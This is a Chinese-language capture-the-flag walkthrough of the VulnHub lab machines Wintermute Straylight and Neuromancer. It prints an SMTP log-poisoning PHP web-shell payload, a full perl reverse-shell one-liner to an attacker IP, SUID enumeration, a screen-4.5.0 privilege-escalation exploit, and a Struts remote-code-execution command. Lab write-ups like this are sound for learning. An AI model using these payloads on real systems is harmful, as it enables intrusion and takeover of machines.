本篇文章仅用于技术交流学习和研究的目的,严禁使用文章中的技术用于非法目的和破坏,否则造成一切后果与发表本文章的作者无关

靶机下载之后使用仅主机模式加载到本地VMware Workstation工作站,需要发现目标靶机的IP地址,可以使用nmap,netdiscover,或者arp之类的工具 arp-scan 例如:sudo arp-scan -I eth1 -l 当然也是可以使用Windows环境下mac地址扫描工具都是可以的,那么本次演示就是arp-scan工具发现

地址:​​https://www.vulnhub.com/entry/wintermute-1,239/​​​

此次靶机有两个,他们是相辅相成的,按照顺序是要先搞straylingth

sudo nmap -sS -sV -sC -T5 -A -p- 192.168.56.103 -o straylingth.nmap

nmap扫描结果

Vulnhub-靶机-WINTERMUTE: 1_c代码

开放了25,80,3000这三个端口,我们先看看80端口

Vulnhub-靶机-WINTERMUTE: 1_c代码_02

上述访问完成没几秒钟就跳到一个黑屏然后不断的出现英文,像是两个人在对话

Vulnhub-靶机-WINTERMUTE: 1_struts_03

上面没啥大意义,那么我们就直接爆破目录了,这里换个爆破工具玩玩gobuster

安装:sudo apt-get install gobuster

爆破目录:gobuster dir -u http://192.168.56.103 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,txt

Vulnhub-靶机-WINTERMUTE: 1_struts_04

得到两个目录,访问看看

Vulnhub-靶机-WINTERMUTE: 1_c代码_05

上面没啥鸡毛东西,访问另一个看看

Vulnhub-靶机-WINTERMUTE: 1_端口转发_06

翻看了下,还是没啥鸡毛发现,擦啊,看看另一个3000端口

Vulnhub-靶机-WINTERMUTE: 1_端口转发_07

一个登陆窗口,刚好有个提示反馈默认账户和密码都是admin 

Vulnhub-靶机-WINTERMUTE: 1_端口转发_08

成功登陆进去了,看到一个新的URI地址

Vulnhub-靶机-WINTERMUTE: 1_端口转发_09

访问得到如下信息:

Vulnhub-靶机-WINTERMUTE: 1_c代码_10

上面每个按钮都点击了一遍,最终确认存在LFI,因为本关卡开放了25端口,猜测跟邮件相关,所以直接包含默认的邮件日志目录

Vulnhub-靶机-WINTERMUTE: 1_struts_11

开始利用邮件功能写一封邮件,带入一句话试试,看能否执行

Vulnhub-靶机-WINTERMUTE: 1_struts_12

nc -nC 192.168.56.103 25
helo bmfx
mail from:"bmfx <?php echo shell_exec($_GET['bmfx']);?>"
rcpt to:root
data
.

Vulnhub-靶机-WINTERMUTE: 1_struts_13

通过查看网页源码获取执行结果

Vulnhub-靶机-WINTERMUTE: 1_c代码_14

成功执行命令,那么这里就可以反弹shell了

perl 反弹shell代码

perl -e 'use Socket;$i="192.168.56.101";$p=8833;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};'

将上述代码进行URL编码之后然后在浏览器上执行

Vulnhub-靶机-WINTERMUTE: 1_struts_15

浏览器访问触发反弹shell

Vulnhub-靶机-WINTERMUTE: 1_端口转发_16

成功反弹shell,并升级会tty-shell

Vulnhub-靶机-WINTERMUTE: 1_c代码_17

通过find命令查找setuid特权文件

这里两个执行效果一样
find / -perm -4000 2>/dev/null
find / -perm -u=s -type f 2>/dev/null

Vulnhub-靶机-WINTERMUTE: 1_端口转发_18

发现了screen-4.5.0存在setuid权限,搜索下对应的exploit

Vulnhub-靶机-WINTERMUTE: 1_c代码_19

Vulnhub-靶机-WINTERMUTE: 1_c代码_20

​https://www.exploit-db.com/exploits/41154​​ 

根据上述exploit内容大概意思是创建两个文件,编译,然后执行shell,我这里手动操作一把

Vulnhub-靶机-WINTERMUTE: 1_c代码_21

按照要求创建C代码

Vulnhub-靶机-WINTERMUTE: 1_struts_22

编译此C代码

Vulnhub-靶机-WINTERMUTE: 1_struts_23

创建特权shell的C代码

Vulnhub-靶机-WINTERMUTE: 1_struts_24

编译此C代码

Vulnhub-靶机-WINTERMUTE: 1_struts_25

上述两大步骤完成之后直接按照exploit提示操作, 可以直接提权

Vulnhub-靶机-WINTERMUTE: 1_端口转发_26

成功提权拿到root权限

-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

根据上面提权之后获得的信息,还有一个靶机是Wintermute-Neuromancer 我这里的网络配置的是同一个仅主机的网段,没有按照作者的意思设置两个网段,然后通过端口转发来完成,不过我们为了学习知识点,把端口转发的命令写下

首先是使用nmap扫描下

Vulnhub-靶机-WINTERMUTE: 1_struts_27

知道了开放端口,按照作者意思是要端口转发到外面去然后开始正常的测试,端口转发命令如下:

socat TCP-LISTEN:8009,fork,reuseaddr TCP:192.168.56.105:8009 &
socat TCP-LISTEN:8080,fork,reuseaddr TCP:192.168.56.105:8080 &
socat TCP-LISTEN:34483,fork,reuseaddr TCP:192.168.56.105:34483 &

我们当做端口转发成功,直接访问目标

Vulnhub-靶机-WINTERMUTE: 1_struts_28

翻了一下,没找到有用的信息,想到上一靶机目标提权成功后给出的信息,那么我们直接访问给出的URI试试

Vulnhub-靶机-WINTERMUTE: 1_c代码_29

上述给出的URI含有Struts,经典的Struts漏洞太多了,我们搜索谷歌

Vulnhub-靶机-WINTERMUTE: 1_端口转发_30

Vulnhub-靶机-WINTERMUTE: 1_struts_31

​https://www.exploit-db.com/exploits/42324​​  远程代码执行漏洞 ,玩Struts漏洞真爽,直接远程搞,我这里的环境是可以直接反弹到kali中,但是作者意思是不能正常访问外部kali,期间需要做端口转发才可以,方式跟上面使用socat转发一样,只是反向了

本目标靶机是利用Struts远程代码执行漏洞,范例:python 42324.py http://192.168.56.105:8080/struts2_2.3.15.1-showcase/integration/saveGangster.action "id"  其他就不演示了,远程代码执行简单好用

Vulnhub-靶机-WINTERMUTE: 1_c代码_32

 

迷茫的人生,需要不断努力,才能看清远方模糊的志向!